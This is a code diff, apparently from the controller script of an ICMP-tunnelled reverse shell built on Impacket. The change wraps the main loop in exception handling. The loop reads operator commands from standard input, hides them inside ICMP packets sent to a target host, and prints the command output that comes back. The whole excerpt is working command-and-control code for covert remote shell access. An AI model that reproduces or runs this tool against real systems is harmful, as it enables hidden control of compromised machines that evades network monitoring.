@@ -76,60 +76,63 @@ def main(src, dst):
7676 decoder = ImpactDecoder .IPDecoder ()
7777
7878 while True :
79- cmd = ''
80-
81- # Wait for incoming replies
82- if sock in select .select ([sock ], [], [])[0 ]:
83- buff = sock .recv (4096 )
84-
85- if 0 == len (buff ):
86- # Socket remotely closed
87- sock .close ()
88- sys .exit (0 )
89-
90- # Packet received; decode and display it
91- ippacket = decoder .decode (buff )
92- icmppacket = ippacket .child ()
93-
94- # If the packet matches, report it to the user
95- if ippacket .get_ip_dst () == src and ippacket .get_ip_src () == dst and 8 == icmppacket .get_icmp_type ():
96- # Get identifier and sequence number
97- ident = icmppacket .get_icmp_id ()
98- seq_id = icmppacket .get_icmp_seq ()
99- data = icmppacket .get_data_as_string ()
100-
101- if len (data ) > 0 :
102- sys .stdout .write (data )
103-
104- # Parse command from standard input
105- try :
106- cmd = sys .stdin .readline ()
107- except :
108- pass
109-
110- if cmd == 'exit\n ' :
111- return
112-
113- # Set sequence number and identifier
114- icmp .set_icmp_id (ident )
115- icmp .set_icmp_seq (seq_id )
116-
117- # Include the command as data inside the ICMP packet
118- icmp .contains (ImpactPacket .Data (cmd ))
119-
120- # Calculate its checksum
121- icmp .set_icmp_cksum (0 )
122- icmp .auto_checksum = 1
123-
124- # Have the IP packet contain the ICMP packet (along with its payload)
125- ip .contains (icmp )
126-
127- try :
128- # Send it to the target host
129- sock .sendto (ip .get_packet (), (dst , 0 ))
130- except socket .error as ex :
131- sys .stderr .write ("'%s'\n " % ex )
132- sys .stderr .flush ()
79+ try :
80+ cmd = ''
81+
82+ # Wait for incoming replies
83+ if sock in select .select ([sock ], [], [])[0 ]:
84+ buff = sock .recv (4096 )
85+
86+ if 0 == len (buff ):
87+ # Socket remotely closed
88+ sock .close ()
89+ sys .exit (0 )
90+
91+ # Packet received; decode and display it
92+ ippacket = decoder .decode (buff )
93+ icmppacket = ippacket .child ()
94+
95+ # If the packet matches, report it to the user
96+ if ippacket .get_ip_dst () == src and ippacket .get_ip_src () == dst and 8 == icmppacket .get_icmp_type ():
97+ # Get identifier and sequence number
98+ ident = icmppacket .get_icmp_id ()
99+ seq_id = icmppacket .get_icmp_seq ()
100+ data = icmppacket .get_data_as_string ()
101+
102+ if len (data ) > 0 :
103+ sys .stdout .write (data )
104+
105+ # Parse command from standard input
106+ try :
107+ cmd = sys .stdin .readline ()
108+ except :
109+ pass
110+
111+ if cmd == 'exit\n ' :
112+ return
113+
114+ # Set sequence number and identifier
115+ icmp .set_icmp_id (ident )
116+ icmp .set_icmp_seq (seq_id )
117+
118+ # Include the command as data inside the ICMP packet
119+ icmp .contains (ImpactPacket .Data (cmd ))
120+
121+ # Calculate its checksum
122+ icmp .set_icmp_cksum (0 )
123+ icmp .auto_checksum = 1
124+
125+ # Have the IP packet contain the ICMP packet (along with its payload)
126+ ip .contains (icmp )
127+
128+ try :
129+ # Send it to the target host
130+ sock .sendto (ip .get_packet (), (dst , 0 ))
131+ except socket .error as ex :
132+ sys .stderr .write ("'%s'\n " % ex )
133+ sys .stderr .flush ()
134+ except :
135+ break
133136
134137if __name__ == '__main__' :
135138 if len (sys .argv ) < 3 :
0 commit comments